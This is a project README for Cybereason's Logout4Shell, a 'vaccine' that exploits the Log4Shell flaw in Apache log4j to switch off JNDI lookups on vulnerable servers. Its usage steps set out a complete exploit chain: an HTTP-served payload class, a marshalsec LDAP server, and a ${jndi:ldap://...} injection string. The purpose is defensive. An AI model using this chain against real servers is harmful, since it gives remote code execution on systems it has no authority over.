Logout4Shell
Description
A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021. The flaw has been dubbed “Log4Shell,”, and has the highest possible severity rating of 10. Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw. The Log4Shell vulnerability CVE-2021-44228 was published on 12/9/2021 and allows remote code execution on vulnerabe servers.
While the best mitigation against this vulnerability is to patch log4j to
2.15.0 and above, in Log4j version (>=2.10) this behavior can be mitigated by
setting system property log4j2.formatMsgNoLookups
to true
or by removing
the JndiLookup class from the classpath.
Additionally, if the server has Java runtimes >= 8u121, then by default, the
settings com.sun.jndi.rmi.object.trustURLCodebase
and
com.sun.jndi.cosnaming.object.trustURLCodebase
are set to “false”, mitigating this risk.
However, enabling these system property requires access to the vulnerable servers as well as a restart. The Cybereason research team has developed the following code that exploits the same vulnerability and the payload therein forces the logger to reconfigure itself with the vulnerable setting disabled - this effectively blocks any further attempt to exploit Log4Shell on this server.
This Proof of Concept is based on @tangxiaofeng7's tangxiaofeng7/apache-log4j-poc
However, this project attempts to fix the vulnerability by using the bug against itself.
You can learn more about Cybereason's "vaccine" approach to the Apache Log4Shell vulnerability (CVE-2021-44228) on our website.
Learn more: Cybereason Releases Vaccine to Prevent Exploitation of Apache Log4Shell Vulnerability (CVE-2021-44228)
Supported versions
Logout4Shell supports log4j version 2.0 - 2.14.1
How it works
On versions (>= 2.10.0) of log4j that support the configuration FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
,
this value is set to True
disabling the lookup mechanism entirely. On older versions, the payload searches all
existing LoggerContexts and removes the jndi key from the Interpolator
used to process ${}
fields.
In both cases, this change will revert when the JVM restarts.
We're considering a more permanent fix - for example, edit the jar on disk of the vulnerable server so that the class JndiLookup will not be instantiated. We'd love community feedback on such an idea and it's associated risks.
How to use
-
Download this report and build it
1.1
git clone https://github.com/cybereason/Logout4Shell.git
1.2 build it -
mvn package
1.3
cd target/classes
1.4 run the webserver -
python3 -m http.server 8888
-
Download, build and run Marshalsec's ldap server
2.1
git clone https://github.com/mbechler/marshalsec.git
2.2
mvn package -DskipTests
2.3
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP_OF_PYTHON_SERVER_FROM_STEP_1>:8888/#Log4jRCE"
-
To immunize a server
3.1 enter
${jndi:ldap://<IP_OF_LDAP_SERVER_FROM_STEP_2>:1389/a}
into a vulnerable field (such as user name)
DISCLAIMER:
The code described in this advisory (the “Code”) is provided on an “as is” and “as available” basis may contain bugs, errors and other defects. You are advised to safeguard important data and to use caution. By using this Code, you agree that Cybereason shall have no liability to you for any claims in connection with the Code. Cybereason disclaims any liability for any direct, indirect, incidental, punitive, exemplary, special or consequential damages, even if Cybereason or its related parties are advised of the possibility of such damages. Cybereason undertakes no duty to update the Code or this advisory.